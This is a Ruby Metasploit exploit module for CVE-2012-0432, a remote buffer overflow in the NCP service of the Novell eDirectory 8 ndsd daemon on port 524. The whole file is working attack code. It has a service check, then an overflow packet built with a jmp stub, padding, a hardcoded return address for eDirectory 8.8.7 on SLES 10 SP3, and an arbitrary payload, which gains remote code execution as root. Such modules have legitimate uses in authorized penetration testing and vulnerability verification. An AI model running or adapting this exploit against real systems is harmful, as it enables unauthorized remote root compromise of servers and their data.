##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell eDirectory 8 Buffer Overflow',
        'Description' => %q{
          This exploit abuses a buffer overflow vulnerability in Novell eDirectory. The
          vulnerability exists in the ndsd daemon, specifically in the NCP service, while
          parsing a specially crafted Keyed Object Login request. It allows remote code
          execution with root privileges.
        },
        'Author' => [
          'David Klein', # Vulnerability Discovery
          'Gary Nilson', # Exploit
          'juan vazquez' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2012-0432'],
          [ 'OSVDB', '88718'],
          [ 'BID', '57038' ],
          [ 'EDB', '24205' ],
          [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=3426981' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2013/Jan/97' ]
        ],
        'DisclosureDate' => '2012-12-12',
        'Platform' => 'linux',
        'Privileged' => true,
        'Arch' => ARCH_X86,
        'Payload' => {},
        'Targets' => [
          [
            'Novell eDirectory 8.8.7 v20701.33/ SLES 10 SP3',
            {
              'Ret' => 0x080a4697, # jmp esi from ndsd
              'Offset' => 58
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(524),])
  end

  def check
    connect
    sock.put(connection_request)
    res = sock.get_once(-1, 10)
    disconnect
    if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
      # res[8,2] => Reply Type
      # res[15,1] => Connection Status
      return Exploit::CheckCode::Safe('NCP service connection request failed or returned unexpected reply type/status')
    end

    return Exploit::CheckCode::Detected('NCP service responded with expected reply type 0x3333 and connection status 0')
  end

  def connection_request
    pkt = "\x44\x6d\x64\x54" # NCP TCP id
    pkt << "\x00\x00\x00\x17" # request_size
    pkt << "\x00\x00\x00\x01" # version
    pkt << "\x00\x00\x00\x00" # reply buffer size
    pkt << "\x11\x11"         # cmd => create service connection
    pkt << "\x00"             # sequence number
    pkt << "\x00"             # connection number
    pkt << "\x00"             # task number
    pkt << "\x00"             # reserved
    pkt << "\x00"             # request code

    return pkt
  end

  def exploit
    connect

    print_status("Sending Service Connection Request...")
    sock.put(connection_request)
    res = sock.get_once(-1, 10)
    if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
      # res[8,2] => Reply Type
      # res[15,1] => Connection Status
      fail_with(Failure::UnexpectedReply, "Service Connection failed")
    end
    print_good("Service Connection successful")

    pkt = "\x44\x6d\x64\x54"  # NCP TCP id
    pkt << "\x00\x00\x00\x00" # request_size (filled later)
    pkt << "\x00\x00\x00\x01" # version (1)
    pkt << "\x00\x00\x00\x05" # reply buffer size
    pkt << "\x22\x22"         # cmd
    pkt << "\x01"             # sequence number
    pkt << res[11]            # connection number
    pkt << "\x00"             # task number
    pkt << "\x00"             # reserved
    pkt << "\x17"             # Login Object FunctionCode (23)
    pkt << "\x00\xa7"         # SubFuncStrucLen
    pkt << "\x18"             # SubFunctionCode
    pkt << "\x90\x90"         # object type
    pkt << "\x50"             # ClientNameLen
    pkt << rand_text(7)
    jmp_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{target['Offset'] + 4}").encode_string
    pkt << jmp_payload # first byte is the memcpy length, must be bigger than 62 to to overwrite EIP
    pkt << rand_text(target['Offset'] - jmp_payload.length)
    pkt << [target.ret].pack("V")
    pkt << payload.encoded

    pkt[4, 4] = [pkt.length].pack("N")

    print_status("Sending Overflow on Keyed Object Login...")
    sock.put(pkt)
    sock.get_once(-1, 10)
    disconnect
  end
end
